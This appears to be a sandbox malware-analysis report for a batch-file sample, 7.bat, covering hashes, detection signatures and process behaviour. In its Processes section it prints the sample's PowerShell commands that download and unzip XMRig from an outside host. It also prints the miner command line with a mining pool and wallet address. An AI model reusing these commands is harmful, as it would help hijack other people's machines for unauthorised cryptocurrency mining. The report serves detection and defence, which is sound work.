Overview
overview
10Static
static
11.bat
windows7-x64
101.bat
windows10-2004-x64
1010.bat
windows7-x64
1010.bat
windows10-2004-x64
1011.bat
windows7-x64
1011.bat
windows10-2004-x64
1012.bat
windows7-x64
1012.bat
windows10-2004-x64
1013.bat
windows7-x64
1013.bat
windows10-2004-x64
1014.bat
windows7-x64
1014.bat
windows10-2004-x64
1015.bat
windows7-x64
1015.bat
windows10-2004-x64
102.bat
windows7-x64
102.bat
windows10-2004-x64
103.bat
windows7-x64
103.bat
windows10-2004-x64
104.bat
windows7-x64
104.bat
windows10-2004-x64
105.bat
windows7-x64
105.bat
windows10-2004-x64
106.bat
windows7-x64
106.bat
windows10-2004-x64
107.bat
windows7-x64
107.bat
windows10-2004-x64
108.bat
windows7-x64
108.bat
windows10-2004-x64
109.bat
windows7-x64
109.bat
windows10-2004-x64
10Analysis
-
max time kernel
93s -
max time network
147s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
22-05-2024 02:54
Static task
static1
Behavioral task
behavioral1
Sample
1.bat
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
1.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral3
Sample
10.bat
Resource
win7-20240508-en
Behavioral task
behavioral4
Sample
10.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral5
Sample
11.bat
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
11.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral7
Sample
12.bat
Resource
win7-20231129-en
Behavioral task
behavioral8
Sample
12.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral9
Sample
13.bat
Resource
win7-20240221-en
Behavioral task
behavioral10
Sample
13.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral11
Sample
14.bat
Resource
win7-20240220-en
Behavioral task
behavioral12
Sample
14.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral13
Sample
15.bat
Resource
win7-20240221-en
Behavioral task
behavioral14
Sample
15.bat
Resource
win10v2004-20240226-en
Behavioral task
behavioral15
Sample
2.bat
Resource
win7-20240221-en
Behavioral task
behavioral16
Sample
2.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral17
Sample
3.bat
Resource
win7-20240221-en
Behavioral task
behavioral18
Sample
3.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral19
Sample
4.bat
Resource
win7-20240220-en
Behavioral task
behavioral20
Sample
4.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral21
Sample
5.bat
Resource
win7-20240215-en
Behavioral task
behavioral22
Sample
5.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral23
Sample
6.bat
Resource
win7-20240221-en
Behavioral task
behavioral24
Sample
6.bat
Resource
win10v2004-20240508-en
Behavioral task
behavioral25
Sample
7.bat
Resource
win7-20240508-en
Behavioral task
behavioral26
Sample
7.bat
Resource
win10v2004-20240426-en
Behavioral task
behavioral27
Sample
8.bat
Resource
win7-20240419-en
Behavioral task
behavioral28
Sample
8.bat
Resource
win10v2004-20240426-en
Behavioral task
behavioral29
Sample
9.bat
Resource
win7-20240221-en
General
-
Target
7.bat
-
Size
599B
-
MD5
798b979417aa88e5323ead9be2d8425c
-
SHA1
a54c5133c71afddf697f302b36bdb930c72852ce
-
SHA256
f83d724987f9f4a0843c0b0abd01f3f5ceccbc8e7babad76c2639e1bef2fee07
-
SHA512
a4f2ff598bc26b5ee7778b34b34aafd20e43f714c5f841b9fe73cdc6e1c3e47e44ffb94ff06ccd7dd263116201ff6754c956c1ea8f588acf6927f35446b5036b
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip
Signatures
-
XMRig Miner payload 2 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe family_xmrig C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exe xmrig -
Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 18 4004 powershell.exe 26 4004 powershell.exe -
Executes dropped EXE 1 IoCs
Processes:
xmrig.exepid process 3360 xmrig.exe -
Processes:
powershell.exepowershell.exepid process 2164 powershell.exe 4004 powershell.exe -
Suspicious behavior: EnumeratesProcesses 4 IoCs
Processes:
powershell.exepowershell.exepid process 4004 powershell.exe 4004 powershell.exe 2164 powershell.exe 2164 powershell.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exepowershell.exexmrig.exedescription pid process Token: SeDebugPrivilege 4004 powershell.exe Token: SeDebugPrivilege 2164 powershell.exe Token: SeLockMemoryPrivilege 3360 xmrig.exe Token: SeLockMemoryPrivilege 3360 xmrig.exe -
Suspicious use of FindShellTrayWindow 1 IoCs
Processes:
xmrig.exepid process 3360 xmrig.exe -
Suspicious use of WriteProcessMemory 6 IoCs
Processes:
cmd.exedescription pid process target process PID 404 wrote to memory of 4004 404 cmd.exe powershell.exe PID 404 wrote to memory of 4004 404 cmd.exe powershell.exe PID 404 wrote to memory of 2164 404 cmd.exe powershell.exe PID 404 wrote to memory of 2164 404 cmd.exe powershell.exe PID 404 wrote to memory of 3360 404 cmd.exe xmrig.exe PID 404 wrote to memory of 3360 404 cmd.exe xmrig.exe
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\7.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:404 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.3/xmrig-6.21.3-msvc-win64.zip', 'xmrig-6.21.3-msvc-win64.zip')"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4004 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.3-msvc-win64.zip' -DestinationPath '.'"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2164 -
C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.3\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
PID:3360
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
-
Filesize
2KB
MD52f57fde6b33e89a63cf0dfdd6e60a351
SHA1445bf1b07223a04f8a159581a3d37d630273010f
SHA2563b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
SHA51242857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
-
Filesize
1KB
MD5a5c074e56305e761d7cbc42993300e1c
SHA139b2e23ba5c56b4f332b3607df056d8df23555bf
SHA256e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953
SHA512c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
2.5MB
MD5cef0ae1ab544e40b659261a4e07fe48f
SHA1e5ff855ce3c7726a50eb50a634ff9f406b3df093
SHA256713263085499ae626a6148fab67932c9a69611b21ac3d04cf52a5e23495f902e
SHA5121fb23b385e6cff3653f0b4b397d092c7be4df62899c97e18f675df2024e5f06ef2596fb626b85ae2ef7d7583c5bf54b00dba1a5ad566c2707a669a48d9814ba8
-
Filesize
6.1MB
MD5c0f8959614ae06561216158d78a787e5
SHA173167d1fd0cee1c96a6505606d21cbfe4369eb00
SHA256e199d88569fb54346d5fa20ee7b59b2ea6f16f4ecca3ea1e1c937b11aab7b2b0
SHA512a24fcf344d08c64ac301d5e4979f062b5e28e8e4acf1d2790916149ffe7726b0c4a11e0775aeba6b841d2d5081e1bd13e2b80390bf9bfbc44d67e54ec07cd746